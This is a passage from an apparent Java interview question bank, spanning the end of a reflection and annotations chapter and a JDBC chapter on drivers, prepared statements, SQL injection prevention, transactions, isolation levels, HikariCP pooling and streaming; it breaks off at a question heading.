- Use `VarHandle` or `AtomicXFieldUpdater` for atomic updates.
- `Field.set` on a volatile field honours volatile semantics.

FOLLOW-UP TRAPS

- **Does `AtomicIntegerFieldUpdater` use reflection?** It uses reflection (and now VarHandle-like intrinsics) to access a `volatile int` field, with checks that the field is `volatile` and accessible.
- **Is `getDeclaredField` returning the same instance?** No, a fresh copy each call (root object is internal).

#concurrency #reflection

Q100 When would you NOT use reflection or annotations? INTERMEDIATE

Avoid them when a plain interface, lambda or explicit code gives the same result with static checking.

- Reflection hides dependencies, bypasses encapsulation, defeats refactoring tools, hurts native image and obfuscation, and costs performance.
- Annotation-heavy "magic" (stacked `@Transactional`, `@Async`, `@Cacheable` on one method) creates ordering bugs and hard-to-debug proxies.
- Prefer: strategy/functional interfaces, `ServiceLoader`, build-time generation, explicit configuration (`@Bean` methods, functional bean registration).

FOLLOW-UP TRAPS

- **Is framework use of reflection a reason to avoid frameworks?** No, but isolate it at the edges and keep domain code free of it.
- **How do you make annotation behaviour testable?** Test the aspect/processor in isolation and add an integration test proving the proxy applies.

#design #trade-offs

Q101 Convert a Map<String,Object> into a POJO using reflection (simple binder). What are the pitfalls? INTERMEDIATE

Create the object via no-arg constructor, loop over fields, find the key, convert, and set.

```
static <T> T bind(Map<String, Object> m, Class<T> c) throws Exception {
    T o = c.getDeclaredConstructor().newInstance();
    for (Field f : c.getDeclaredFields()) {
        if (!m.containsKey(f.getName())) continue;
        f.setAccessible(true);
        Object v = m.get(f.getName());
        if (f.getType() == int.class && v instanceof String s) v = Integer.parseInt(s);
        f.set(o, v);
    }
    return o;
}
```

Pitfalls: type conversion (String -> int, enum, date, nested), `final` fields, setter logic bypassed, unknown keys silently ignored, `IllegalArgumentException` when types mismatch (`Field.set` unwraps/widens only).

FOLLOW-UP TRAPS

- **Does `Field.set` convert `Integer` to `long` field?** Widening of unwrapped primitives is allowed (`Integer` to `long`), but not `String` to anything.
- **Does it call setter validation?** No, it bypasses setters; use `BeanWrapper` for property semantics.

#binder #reflection #type-conversion

Q102 Why do "annotation on private field, accessed via getter" frameworks sometimes fail on Kotlin or Lombok classes?

ADVANCED

Annotations placed on a field are not copied to generated getters/setters by default. Lombok's `@Getter` copies only some known annotations (e.g. `@Nullable`, Jackson ones in `copyableAnnotations`); Kotlin applies an annotation to the first applicable target (param, property, field) unless you write `@get:` / `@field:`.

```
data class U(@field:NotBlank val name: String)   // Kotlin: pick explicit target
```

For Lombok, add `lombok.copyableAnnotations += com.app.MyAnno` to `lombok.config`.

FOLLOW-UP TRAPS

- **Why does Bean Validation in Kotlin say "no constraint found"?** The annotation went to the constructor parameter by default; use `@field:` or `@get:`.
- **Does the Lombok config apply to the whole module?** The nearest `lombok.config` file up the directory tree.

#lombok #kotlin #annotation-propagation

Q103 How does JUnit's @ParameterizedTest with @MethodSource find a factory method?

INTERMEDIATE

JUnit reads the `@MethodSource("names")` attribute and reflectively looks up a method by that name in the test class (or fully qualified `Class#method`), invokes it (static unless `PER_CLASS` lifecycle), and converts the returned `Stream` / `Iterable` /array into invocation arguments.

- With no name, it looks for a method with the same name as the test method.
- Argument conversion is implicit (String to enum, number widening) and explicit via `ArgumentConverter`.

FOLLOW-UP TRAPS

- **Why "must be static" error?** Default lifecycle creates a new instance per test method, so the factory must be static (unless `@TestInstance(PER_CLASS)`).
- **Can the provider be private?** JUnit uses reflection and handles it, but it is recommended to be package-private or higher.

#junit #reflection #method-source

Q104 Compare how Spring, Quarkus and Micronaut each use annotations at build vs runtime.

ADVANCED

Classic Spring (pre-AOT) processes annotations reflectively at startup. Micronaut uses annotation processors at compile time to generate bean definitions, with no reflection or runtime proxies. Quarkus runs a build-time augmentation step with Jandex indexing and bytecode recording; Spring 6 AOT moves closer to this model.

- Compile/build-time approach: faster startup, lower memory, native-image friendliness, fewer runtime surprises.
- Runtime approach: dynamic (profiles, conditions evaluated at startup), more flexible, easier ad-hoc debugging, but slower startup.

FOLLOW-UP TRAPS

- **Is a build-time framework free of reflection?** Mostly, but libraries on the classpath may still require registered reflection for native builds.
- **Why is Micronaut AOP not proxy-based?** It generates subclasses at compile time (intercepted subclasses) rather than runtime proxies.

#quarkus #micronaut #aot #trade-offs

CORE JAVA · CHAPTER 11

JDBC

JDBC architecture, drivers, statements, ResultSet, SQL injection, batching, transactions and isolation, HikariCP pooling, streaming, LOBs, locking, retries and production debugging.

105 questions **25** basic **51** intermediate **29** advanced

Theory

Q1 What is JDBC and how is its architecture layered? BASIC

JDBC is the standard Java API (`java.sql`, `javax.sql`) for talking to relational databases. Your code depends only on interfaces (`Connection`, `Statement`, `ResultSet`); a vendor-supplied driver implements them and speaks the database wire protocol.

- Layers: application -> JDBC API -> driver (or `DriverManager` / `DataSource`) -> network protocol -> database.
- JDBC is blocking and synchronous: a thread is parked on socket I/O for every call.
- ORMs, `JdbcTemplate` and jOOQ are all built on top of it.

FOLLOW-UP TRAPS

- **Is JDBC an ORM?** No. It returns rows and columns; mapping to objects is your job or a library's.
- **Is JDBC non-blocking?** No. R2DBC is the reactive alternative.

#jdbc #architecture

Q2 Explain the four JDBC driver types. BASIC

Type 1 is the JDBC-ODBC bridge (removed in Java 8). Type 2 is native-API (uses vendor C libraries via JNI). Type 3 is network-protocol (middleware translates). Type 4 is pure Java and speaks the database protocol directly.

- Type 4 is what you use today: PostgreSQL, MySQL, Oracle thin, SQL Server.
- Type 2 (Oracle OCI) is still used for features like TAF or special auth, at the cost of native installs.

FOLLOW-UP TRAPS

- **Which type is the most portable?** Type 4, since it needs no native library.
- **Does Java 17 still ship the ODBC bridge?** No, it was removed in Java 8.

#drivers #types

Q3 How does a driver get registered, and do I still need Class.forName? BASIC

Since JDBC 4.0 (Java 6), drivers are discovered through `ServiceLoader` via `META-INF/services/java.sql.Driver`, so `Class.forName("org.postgresql.Driver")` is unnecessary. `DriverManager.getConnection(url)` asks each registered driver whether it accepts the URL.

- `Class.forName` is still needed for very old drivers or inside some custom classloader setups (app servers, plugin containers).
- If the driver jar is not on the classpath you get `No suitable driver found for jdbc:...`.

FOLLOW-UP TRAPS

- **Why "No suitable driver" even though the jar is present?** Wrong URL prefix, or the jar is in a different classloader than the caller.
- **Can several driver versions coexist?** Yes in separate classloaders, but `DriverManager` checks caller classloader visibility.

#driver #serviceloader

Q4 How should you manage Connection, Statement and ResultSet lifecycle? BASIC

Use try-with-resources for all three; they close in reverse order of declaration, even on exceptions. Closing a `Connection` closes its statements, and closing a `Statement` closes its `ResultSet`s, but relying on that leaves resources open longer than needed.

```
String sql = "select id, name from users where status = ?";
try (Connection c = ds.getConnection();
     PreparedStatement ps = c.prepareStatement(sql)) {
    ps.setString(1, "ACTIVE");
    try (ResultSet rs = ps.executeQuery()) {
        while (rs.next()) { System.out.println(rs.getString("name")); }
    }
}
```

- With a pool, `close()` returns the connection to the pool instead of closing the socket.

FOLLOW-UP TRAPS

- **Does closing the Connection close the ResultSet?** Yes, but you should not depend on it, especially with pools that may not close underlying statements promptly.
- **Is closing a `ResultSet` twice an error?** No, `close()` is idempotent.

#try-with-resources #resources

Q5 Compare Statement, PreparedStatement and CallableStatement. BASIC

`Statement` runs a complete SQL string; `PreparedStatement` runs parameterized SQL with `?` placeholders; `CallableStatement` extends `PreparedStatement` to invoke stored procedures/functions and read `OUT` parameters.

- Prefer `PreparedStatement` for anything that has input values: safer and often faster.
- `Statement` is acceptable for static DDL or constant SQL.

FOLLOW-UP TRAPS

- **Does `CallableStatement` extend `Statement`?** Indirectly: `CallableStatement` -> `PreparedStatement` -> `Statement`.
- **Can a `PreparedStatement` be reused?** Yes, rebind parameters and execute again, as long as the connection is open.

#statement #preparedstatement #callablestatement

Q6 Why is PreparedStatement better than Statement beyond security? INTERMEDIATE

Parameterized SQL gives the database a stable statement text, so it can parse and plan once and reuse the plan, and the driver can reuse the prepared handle. Parameters travel separately from SQL text, so no escaping or quoting bugs occur.

- PostgreSQL's driver switches to a server-side prepared statement after `prepareThreshold` executions (default 5).
- MySQL Connector/J does client-side preparation by default (`useServerPrepStmts=false`); set `useServerPrepStmts=true` plus `cachePrepStmts=true` for server-side caching.

- Concatenating literals creates a distinct SQL text per value, polluting the plan/statement cache.

> **FOLLOW-UP TRAPS**
> - **Is a `PreparedStatement` always server-side prepared?** No, it depends on the driver and its settings.
> - **Is it faster for a single execution?** Not necessarily; the benefit shows on repeated execution or via the cache.

#preparedstatement #performance

Q7 How do you prevent SQL injection, and what cannot be parameterized? BASIC

Bind every value with `?` placeholders. Placeholders only stand in for values, never for identifiers (table/column names), keywords or `ORDER BY` direction, so those must be validated against an allow-list.

```
Map<String, String> sortable = Map.of("name", "name", "created", "created_at");
String col = sortable.getOrDefault(req.sort(), "created_at");
String dir = "desc".equalsIgnoreCase(req.dir()) ? "desc" : "asc";
String sql = "select id, name from users where status = ? order by " + col + " " + dir;
```

- Escaping by hand is fragile (charset and quoting differences); do not rely on it.
- Least privilege DB accounts limit the damage if injection slips through.

> **FOLLOW-UP TRAPS**
> - **Can I bind a table name with `setString`?** No, it would be sent as a string literal, not an identifier.
> - **Does a `PreparedStatement` built from concatenated input protect you?** No; the vulnerability is in the concatenation.

#sql-injection #security

Q8 How do you use CallableStatement with IN and OUT parameters? INTERMEDIATE

Use the escape syntax `{call proc(?, ?)}` or `{? = call func(?)}`, bind IN values with `setXxx`, register OUT types with `registerOutParameter`, execute, then read with `getXxx`.

```
try (CallableStatement cs = c.prepareCall("{call get_balance(?, ?)}")) {
    cs.setLong(1, accountId);
    cs.registerOutParameter(2, Types.NUMERIC);
    cs.execute();
    BigDecimal balance = cs.getBigDecimal(2);
}
```

- Procedures returning result sets: call `getResultSet()` / `getMoreResults()`. PostgreSQL functions returning `refcursor` need `autoCommit=false`.
- Parameters can be accessed by name (`getString("out")`) where the driver supports it.

> **FOLLOW-UP TRAPS**
> - **Do I need `registerOutParameter` for INOUT params?** Yes, and also bind the IN side.
> - **Is `execute()` or `executeQuery()` right for procedures?** Usually `execute()`, since the shape of results is not fixed.

#callablestatement #stored-procedure

Q9 What are the ResultSet types and concurrency modes? INTERMEDIATE

Type: `TYPE_FORWARD_ONLY` (default, cursor moves forward), `TYPE_SCROLL_INSENSITIVE` (scrollable, snapshot), `TYPE_SCROLL_SENSITIVE` (scrollable and reflects changes). Concurrency: `CONCUR_READ_ONLY` (default) or `CONCUR_UPDATABLE`.

- Scrollable result sets often make the driver buffer the whole result client-side, costing memory.
- Holdability: `HOLD_CURSORS_OVER_COMMIT` vs `CLOSE_CURSORS_AT_COMMIT`; the default is driver-specific.

- Many drivers silently downgrade a requested type they do not support; check `rs.getType()`.

> **FOLLOW-UP TRAPS**
> - **Is `TYPE_SCROLL_SENSITIVE` guaranteed to see other sessions' changes?** No; support is driver dependent and often downgraded.
> - **Why is forward-only recommended?** It is cheapest and is the only mode that streams well.

#resultset #scrollable

Q10 How do you read nullable columns correctly from a ResultSet? BASIC

Primitive getters (`getInt`, `getLong`, `getBoolean`) return `0`/`false` for SQL `NULL`, so call `rs.wasNull()` right after, or use `getObject(col, Integer.class)` which returns `null`.

```
Integer age = rs.getObject("age", Integer.class);   // null-safe
long id = rs.getLong("id");
if (rs.wasNull()) { /* id was NULL */ }
```

- `getString` returns `null` for `NULL`; `getBigDecimal`, `getDate`, `getTimestamp` also.
- Column indexes start at 1, not 0.

> **FOLLOW-UP TRAPS**
> - **Does `getInt` throw on NULL?** No, it returns 0, which is the bug.
> - **What does `wasNull()` refer to?** The last column read only.

#resultset #null

Q11 How do batch updates work and what does executeBatch return? INTERMEDIATE

`addBatch()` queues parameter sets client-side; `executeBatch()` sends them together, cutting round trips. It returns an `int[]` of update counts per statement, where `Statement.SUCCESS_NO_INFO` (-2) means success with unknown count.

```
try (PreparedStatement ps = c.prepareStatement("insert into t(a, b) values (?, ?)")) {
    for (Row r : rows) {
        ps.setInt(1, r.a()); ps.setString(2, r.b());
        ps.addBatch();
    }
    int[] counts = ps.executeBatch();
}
```

- Flush in chunks (e.g. 500-5000) to bound memory.
- On failure a `BatchUpdateException` is thrown; `getUpdateCounts()` shows what completed. Behaviour (stop vs continue) is driver-dependent.
- Java 8+ offers `executeLargeBatch()` for counts above `int`.

> **FOLLOW-UP TRAPS**
> - **Does the batch run atomically?** Only if you wrap it in a transaction and roll back on failure.
> - **Can a batch hold SELECTs?** No; batches are for DML/DDL returning update counts.

#batch #performance

Q12 Why can batch inserts still be slow, and which driver flags help? ADVANCED

Drivers may still send each statement as a separate round trip. MySQL Connector/J needs `rewriteBatchedStatements=true` to rewrite into multi-row `INSERT ... VALUES (...),(...)`; PostgreSQL JDBC needs `reWriteBatchedInserts=true` to do the same.

- Oracle batches natively via the array interface; SQL Server uses `useBulkCopyForBatchInsert` for bulk copy.

- With MySQL rewriting, `getGeneratedKeys` behaviour and update counts (`SUCCESS_NO_INFO`) change.
- Hibernate adds `hibernate.jdbc.batch_size`; `IDENTITY` ids disable insert batching there.

> **FOLLOW-UP TRAPS**
> - **Is `addBatch` alone enough for speed on MySQL?** No, without `rewriteBatchedStatements` it is still one statement per round trip.
> - **Why did Hibernate not batch my inserts?** Likely `GenerationType.IDENTITY`, or ordering of mixed entity inserts.

#batch #mysql #postgresql

Q13 What is auto-commit and why does it matter? BASIC

By default a JDBC connection is in auto-commit mode: each statement is its own transaction, committed upon completion. To group statements atomically, call `setAutoCommit(false)` and then `commit()` or `rollback()`.

- Turning auto-commit off starts a transaction implicitly on first statement.
- Calling `commit()` while auto-commit is on throws `SQLException` in most drivers.
- Pools reset auto-commit when the connection is returned (HikariCP does).

> **FOLLOW-UP TRAPS**
> - **What happens if you close a connection with pending changes and no commit?** Driver dependent; Oracle commits, most others roll back. Always be explicit.
> - **Does enabling auto-commit mid-transaction commit?** Yes, per the JDBC spec `setAutoCommit(true)` commits the current transaction.

#transactions #autocommit

Q14 Show the standard commit/rollback pattern. BASIC

Disable auto-commit, run work, commit at the end, and roll back in a catch before rethrowing. Restore auto-commit if you own the connection.

```
try (Connection c = ds.getConnection()) {
    c.setAutoCommit(false);
    try {
        debit(c, from, amt);
        credit(c, to, amt);
        c.commit();
    } catch (Exception e) {
        c.rollback();
        throw e;
    }
}
```

- Rollback itself can throw (connection lost); add the original as primary and use `addSuppressed`.
- In Spring, `@Transactional` does this for you via `DataSourceTransactionManager`.

> **FOLLOW-UP TRAPS**
> - **Is `rollback` needed if the connection is closed anyway?** Pooled connections are not closed, so uncommitted work could leak to the next borrower unless the pool rolls back.
> - **Do DDL statements roll back?** In MySQL and Oracle DDL implicitly commits; PostgreSQL DDL is transactional.

#transactions #rollback

Q15 What are savepoints and when are they useful? INTERMEDIATE

A `Savepoint` marks a point inside a transaction to which you can roll back partially without aborting the entire transaction. Create with `c.setSavepoint("name")`, roll back with `c.rollback(sp)`, free with

`c.releaseSavepoint(sp)`.

```
Savepoint sp = c.setSavepoint();
try {
    insertOptionalAudit(c);
} catch (SQLException e) {
    c.rollback(sp);   // keep the rest of the transaction
}
c.commit();
```

- In PostgreSQL a failed statement aborts the whole transaction ("current transaction is aborted") unless you used a savepoint; the driver option `autosave=conservative` automates this.
- Spring's `PROPAGATION_NESTED` is built on savepoints.

FOLLOW-UP TRAPS

- **Does rolling back to a savepoint end the transaction?** No, work before the savepoint stays pending.
- **Are savepoints supported with auto-commit on?** No.

#savepoint #transactions

Q16 Explain ACID in the JDBC context. BASIC

Atomicity: all or nothing (commit/rollback). Consistency: constraints hold before and after. Isolation: concurrent transactions do not see each other's partial work, to a degree set by the isolation level. Durability: committed data survives crashes (WAL/redo log flushed).

- JDBC only exposes controls (commit, rollback, isolation); the guarantees are implemented by the database.
- Durability depends on DB settings like `synchronous_commit` or `innodb_flush_log_at_trx_commit`.

FOLLOW-UP TRAPS

- **Does JDBC guarantee atomicity across two databases?** No, that needs XA/two-phase commit or saga patterns.
- **Is "consistency" in ACID the same as in CAP?** No, different meanings.

#acid #transactions

Q17 List the JDBC isolation levels and which anomalies each prevents. INTERMEDIATE

`TRANSACTION_READ_UNCOMMITTED`, `READ_COMMITTED`, `REPEATABLE_READ`, `SERIALIZABLE` (and `NONE`, rarely supported). Set via `c.setTransactionIsolation(level)` before the transaction starts.

Level	Dirty read	Non-repeatable read	Phantom
READ_UNCOMMITTED	possible	possible	possible
READ_COMMITTED	prevented	possible	possible
REPEATABLE_READ	prevented	prevented	possible (by the standard)
SERIALIZABLE	prevented	prevented	prevented

- The table is the ANSI definition; real engines differ (snapshot isolation does not suffer phantoms in MySQL InnoDB for plain reads, and has write skew in PostgreSQL REPEATABLE READ).

FOLLOW-UP TRAPS

- **Does PostgreSQL honor READ_UNCOMMITTED?** It treats it as READ COMMITTED; dirty reads never occur.
- **Can you change isolation mid-transaction?** Generally not safely; driver/DB specific.

#isolation #anomalies

Q18 What are the default isolation levels of common databases? INTERMEDIATE

PostgreSQL, Oracle and SQL Server default to READ COMMITTED; MySQL InnoDB defaults to REPEATABLE READ. H2 uses READ COMMITTED.

- MySQL InnoDB REPEATABLE READ uses MVCC snapshots for plain reads and gap/next-key locks for locking reads.
- Oracle only offers READ COMMITTED, SERIALIZABLE and read-only.
- Moving code between MySQL and PostgreSQL can change behaviour of the same read-then-write logic.

FOLLOW-UP TRAPS

- **Why can the same code behave differently across MySQL and Postgres?** Different default isolation and different locking implementations.
- **Does the JDBC driver set isolation for you?** No, it uses the database default unless configured (pool `transactionIsolation`).

#isolation #defaults

Q19 What does Connection.setReadOnly(true) do? INTERMEDIATE

It is a hint to the driver/database that the transaction will not modify data. The effect varies: PostgreSQL issues `SET SESSION CHARACTERISTICS ... READ ONLY` so writes fail; MySQL Connector/J can route to replicas in replication mode; Oracle starts a read-only transaction.

- Must generally be called before the transaction begins.
- Spring's `@Transactional(readOnly = true)` calls it, and Hibernate also skips dirty checking.
- Pools reset it on return (HikariCP does).

FOLLOW-UP TRAPS

- **Is it enforced everywhere?** No, it is a hint for some drivers.
- **Does it make queries faster?** It can enable optimizations or replica routing, but not guaranteed.

#readonly #connection

Q20 Why use connection pooling? BASIC

Opening a physical connection costs TCP + TLS + authentication + session setup (often 5-100 ms) and the database can only hold a limited number of connections. A pool keeps a bounded set of connections open and lends them out.

- Bounds concurrency to the DB, giving back-pressure instead of overload.
- `close()` on a pooled connection is a proxy method that returns it to the pool and resets state.
- Common pools: HikariCP (Spring Boot default), Tomcat JDBC, DBCP2, c3p0, Agroal.

FOLLOW-UP TRAPS

- **Does `close()` close the socket?** Not for a pooled connection; it returns it.
- **Does a bigger pool always mean more throughput?** No; beyond what the DB can run in parallel it only adds contention.

#pooling #performance

Q21 Which HikariCP settings matter most, and what are their defaults? INTERMEDIATE

`maximumPoolSize` (10), `minimumIdle` (same as max, i.e. fixed size pool), `connectionTimeout` (30 s), `idleTimeout` (10 min, only applies when minimumIdle < max), `maxLifetime` (30 min), `keepaliveTime` (0 = disabled), `validationTimeout` (5 s), `leakDetectionThreshold` (0 = disabled).

```
spring:
  datasource:
    hikari:
      maximum-pool-size: 20
      connection-timeout: 3000
      max-lifetime: 1500000
      keepalive-time: 300000
      leak-detection-threshold: 20000
```

- HikariCP recommends a fixed-size pool (do not set `minimumIdle` lower unless needed).
- Setting `connectionTimeout` to a few seconds fails fast under overload.

FOLLOW-UP TRAPS

- **What is the Hikari default pool size?** 10.
- **Is `idleTimeout` honored with a fixed-size pool?** No; it only retires connections above `minimumIdle`.

#hikaricp #configuration

Q22 How do you size a connection pool? ADVANCED

Start small. A common formula from the PostgreSQL wiki and Hikari docs is `connections = (core_count * 2) + effective_spindle_count`, applied to the database server, not the app. Then measure and tune against throughput and wait time.

- A 4-core DB serving 20 pool connections can already be oversubscribed; extra connections queue inside the DB.
- Total across instances matters: `pods * maximumPoolSize` must stay below the DB `max_connections` minus admin/headroom.
- Little's Law: needed connections ~ requests/sec x average connection-hold time.
- Reduce hold time (short transactions, no remote calls while holding a connection) before increasing size.

FOLLOW-UP TRAPS

- **Is "one connection per request thread" right?** No; 200 threads can share 10-20 connections if the hold time is short.
- **Do I size per app instance or cluster-wide?** Cluster-wide against the DB capacity.

#hikaricp #sizing

Q23 What do maxLifetime, idleTimeout and keepaliveTime do? INTERMEDIATE

`maxLifetime` retires a connection after a fixed age (with random variance), so it is replaced before server or firewall kills it. `idleTimeout` shrinks idle connections above the minimum. `keepaliveTime` pings idle connections periodically so network devices do not drop them.

- Set `maxLifetime` several seconds to minutes below the database/proxy limit (`wait_timeout` in MySQL, load balancer idle timeout, RDS Proxy limits).
- `keepaliveTime` must be less than `maxLifetime` (minimum 30 s).
- Retiring is done only for connections not in use; an in-use connection is evicted on return.

FOLLOW-UP TRAPS

- **If a connection is borrowed, does `maxLifetime` kill it mid-query?** No, it is retired after being returned.
- **Why should lifetime be shorter than the server timeout?** Otherwise the server closes it first and the pool hands out a dead connection.

#hikaricp #lifetime #keepalive

Q24 What do connectionTimeout and validationTimeout mean in HikariCP? INTERMEDIATE

`connectionTimeout` is how long `getConnection()` waits for a connection from the pool before throwing `SQLTransientConnectionException`. `validationTimeout` is how long a liveness check of a borrowed connection may take (must be less than `connectionTimeout`).

- Hikari validates with `Connection.isValid()` (JDBC4) if the driver supports it, so `connectionTestQuery` is rarely needed.
- It skips validation if the connection was used in the last 500 ms.
- Other timeouts are separate: socket/read timeout, statement `queryTimeout`, and DB-side `statement_timeout` / `lock_timeout`.

FOLLOW-UP TRAPS

- **Is `connectionTimeout` the time to run a query?** No, only the wait for a pool slot (or to establish a new connection).
- **Should `connectionTimeout` be 30 s in a web service?** Usually too long; it causes request pile-up. Choose below your request timeout.

#hikaricp #timeouts

Q25 How does HikariCP leak detection work? INTERMEDIATE

With `leakDetectionThreshold > 0` (minimum 2000 ms), Hikari starts a timer when a connection is borrowed and logs a warning with the borrowing stack trace if it has not been returned in time. It does not forcibly close or reclaim the connection.

- Set the threshold above your slowest legitimate transaction.
- A late return after warning logs "Previously reported leaked connection ... was returned to the pool".
- The stack trace points to where the connection was acquired, not where it is stuck.

FOLLOW-UP TRAPS

- **Does leak detection fix leaks?** No, it only reports.
- **Is a leak warning always a leak?** No; a slow long transaction triggers it too.

#hikaricp #leak

Q26 What is the relationship between pool size, DB max_connections and a connection proxy? ADVANCED

Each pool connection is one DB session (a backend process in PostgreSQL, a thread in MySQL). The sum over all app instances must stay below `max_connections`. An external pooler (PgBouncer, ProxySQL, RDS Proxy) multiplexes many client connections onto fewer server connections.

- PgBouncer transaction mode breaks session features: session-level `SET`, advisory locks, `LISTEN`, and server-side prepared statements (use `prepareThreshold=0` or a recent PgBouncer with prepared-statement support).
- Autoscaling apps can multiply connections unexpectedly; cap pool sizes per instance.
- Idle connections still consume memory on the server (PostgreSQL ~ several MB each).

FOLLOW-UP TRAPS

- **Does a pooler remove the need for an app-side pool?** No, the app-side pool still avoids connect overhead and bounds concurrency.
- **Why do prepared statements fail behind PgBouncer transaction mode?** Statements prepared on one server connection are not present on the next one.

#pooling #pgbouncer #max-connections

Q27 What does fetch size do? INTERMEDIATE

`setFetchSize(n)` hints how many rows the driver should retrieve per network round trip. Too small means many round trips; too large means high memory.

- Oracle default is 10 (increase to 100-1000 for bulk reads).
- PostgreSQL fetches all rows at once by default; fetch size only applies when `autoCommit=false` and the ResultSet is forward-only.
- MySQL Connector/J loads the whole result unless `useCursorFetch=true` with fetch size set, or fetch size is `Integer.MIN_VALUE` (row-by-row streaming).
- SQL Server buffers adaptively by default.

FOLLOW-UP TRAPS

- **Why does `setFetchSize(1000)` not stream on PostgreSQL in my code?** Auto-commit is on, so the driver loads everything.
- **Does fetch size limit rows returned?** No, that is `setMaxRows` or `LIMIT`.

#fetchsize #performance

Q28 How do you stream a large result set without running out of memory? ADVANCED

Use a forward-only, read-only `ResultSet`, set a fetch size, and use the driver's cursor/streaming mode; process rows as you read and never collect them all.

- PostgreSQL: `autoCommit=false` + `setFetchSize(1000)`.
- MySQL: `setFetchSize(Integer.MIN_VALUE)` or `useCursorFetch=true` + fetch size.
- The connection and often a transaction stay open for the entire read, so keep processing quick and do not run other queries on the same MySQL connection while streaming.
- For huge exports, consider keyset pagination or `COPY` (PostgreSQL `CopyManager`).

FOLLOW-UP TRAPS

- **Is the memory of a streamed query constant?** Roughly one fetch batch, but the server may still hold a cursor/temp results.
- **Is `LIMIT/OFFSET` pagination a streaming replacement?** It gets slower with a deep offset; keyset pagination is better.

#streaming #fetchsize #memory

Q29 How do you retrieve generated keys? BASIC

Pass `Statement.RETURN_GENERATED_KEYS` (or column names) when preparing, then call `getGeneratedKeys()` after executing.

```
try (PreparedStatement ps = c.prepareStatement(
        "insert into orders(customer_id) values (?)", Statement.RETURN_GENERATED_KEYS)) {
    ps.setLong(1, 42L);
    ps.executeUpdate();
    try (ResultSet keys = ps.getGeneratedKeys()) {
        if (keys.next()) { long id = keys.getLong(1); }
    }
}
```

- Oracle requires column names (`new String[]{"ID"}`) because ROWID is returned otherwise.
- PostgreSQL implements this by appending `RETURNING *` (or the listed columns).
- Works with batches on most drivers (one key row per statement).

FOLLOW-UP TRAPS

- **Is there a portable way to get the key in a separate query?** `SELECT LAST_INSERT_ID()` or `currval` are vendor-specific and unsafe across connections; use the API.
- **What if several columns are generated?** `getGeneratedKeys()` returns them all by name or position, driver permitting.

#generated-keys #insert

Q30 What is a DataSource and why prefer it over DriverManager? BASIC

`javax.sql.DataSource` is a factory for connections, configured externally (URL, credentials, pool settings) and can be pooled, wrapped or looked up through JNDI. `DriverManager` is a static, unpooled, global registry.

- Pooling, distributed transactions (`XADataSource`) and monitoring implementations all plug in via `DataSource`.
- Application code receives a `DataSource` (injection), so credentials and URLs stay in config.
- Spring Boot auto-configures a `HikariDataSource` from `spring.datasource.*`.

FOLLOW-UP TRAPS

- **Is `DataSource` itself a pool?** Not necessarily; the interface says nothing about pooling, `HikariDataSource` implements it with a pool.
- **Where does JNDI fit?** Servers like Tomcat/WildFly publish a managed `DataSource` under a JNDI name.

#datasource #drivermanager

Q31 What can DatabaseMetaData and ResultSetMetaData tell you? INTERMEDIATE

`Connection.getMetaData()` returns `DatabaseMetaData`: product/driver versions, supported features, and catalog info (`getTables`, `getColumns`, `getPrimaryKeys`, `getImportedKeys`, `getIndexInfo`). `ResultSet.getMetaData()` returns `ResultSetMetaData`: column count, names, labels, SQL types, nullability, precision.

```
DatabaseMetaData md = c.getMetaData();
try (ResultSet t = md.getTables(null, "public", "%", new String[]{"TABLE"})) {
    while (t.next()) { System.out.println(t.getString("TABLE_NAME")); }
}
```

- Used by schema migration tools, generic query UIs and ORMs for dialect detection.
- Metadata calls can be slow on big catalogs; cache results.

FOLLOW-UP TRAPS

- **`getColumnName` vs `getColumnLabel`?** Label is the alias (`select a as x`), name is the underlying column; prefer label.
- **Is the schema/catalog meaning the same across databases?** No: MySQL uses catalog = database, PostgreSQL uses schema.

#metadata

Q32 How do you work with BLOB and CLOB values? INTERMEDIATE

Use streaming setters/getters (`setBinaryStream`, `getBinaryStream`, `setCharacterStream`, `getCharacterStream`) or `Blob` / `Clob` locators (`createBlob()`, `createClob()`), instead of loading whole values as `byte[]` / `String`.

```
try (InputStream in = Files.newInputStream(path);
     PreparedStatement ps = c.prepareStatement("insert into docs(name, body) values (?, ?)")) {
    ps.setString(1, "report.pdf");
    ps.setBinaryStream(2, in, Files.size(path));
    ps.executeUpdate();
}
```

- Read streams while the `ResultSet` and connection are still open and the transaction is active (Oracle and PostgreSQL large objects require it).
- PostgreSQL has `bytea` (inline, up to 1 GB) and Large Objects (`oid`, needs a transaction).
- Often better: store files in object storage and keep a URL/key in the row.

FOLLOW-UP TRAPS

- **Can I read a `Blob` after closing the connection?** Generally no; the locator becomes invalid.
- **Does `getBytes` suit multi-hundred-MB files?** No; it loads everything into heap.

#lob #blob #clob

Q33 What is the N+1 problem at the JDBC level and how do you fix it? INTERMEDIATE

Running one query to fetch N parents and then one query per parent for its children produces N+1 round trips. Fix with a join, a single `IN` / `ANY` query for all children, or a batch.

```
// 1 query for all children instead of N
String sql = "select order_id, sku, qty from order_items where order_id = any (?)";
Array ids = c.createArrayOf("bigint", orderIds.toArray());
try (PreparedStatement ps = c.prepareStatement(sql)) {
    ps.setArray(1, ids);
    // group rows by order_id into a Map<Long, List<Item>>
}
```

- Latency per round trip (0.5-2 ms same AZ) multiplies by N.
- A join duplicates parent columns per child row; a two-query approach avoids that and pagination of parents stays simple.
- Chunk large `IN` lists (e.g. 500-1000).

FOLLOW-UP TRAPS

- **Is a JOIN always better?** No; joins on to-many produce row multiplication and make pagination awkward.
- **How do you spot N+1 without an ORM?** Count statements per request using datasource-proxy or p6spy, or look at DB `pg_stat_statements`.

#n+1 #performance

Q34 What is the difference between a deadlock and a lock wait timeout? INTERMEDIATE

A deadlock is a cycle: transaction A waits for B while B waits for A; the database detects it and aborts one victim immediately. A lock wait is a plain wait for a lock held by a still-running transaction (no cycle), which ends when it commits or the wait times out.

- PostgreSQL: SQLState `40P01` for deadlock, `55P03` for `lock_not_available`, `57014` for statement timeout.
- MySQL: error 1213 (SQLState `40001`) deadlock; error 1205 (`HY000`) lock wait timeout (`innodb_lock_wait_timeout`, default 50 s).
- Oracle: `ORA-00060` deadlock; `ORA-30006` / `ORA-00054` for waits with `NOWAIT`.
- Avoid deadlocks by acquiring locks in a consistent order and keeping transactions short.

FOLLOW-UP TRAPS

- **Is a deadlock a bug to eliminate completely?** Not always; rare ones are normal, so code must be able to retry.
- **Does MySQL roll back the entire transaction on lock wait timeout?** No, by default only the statement (InnoDB), unless `innodb_rollback_on_timeout` is on. Deadlock rolls back the whole transaction.

#deadlock #locking

Q35 How do you set lock timeouts and statement timeouts? INTERMEDIATE

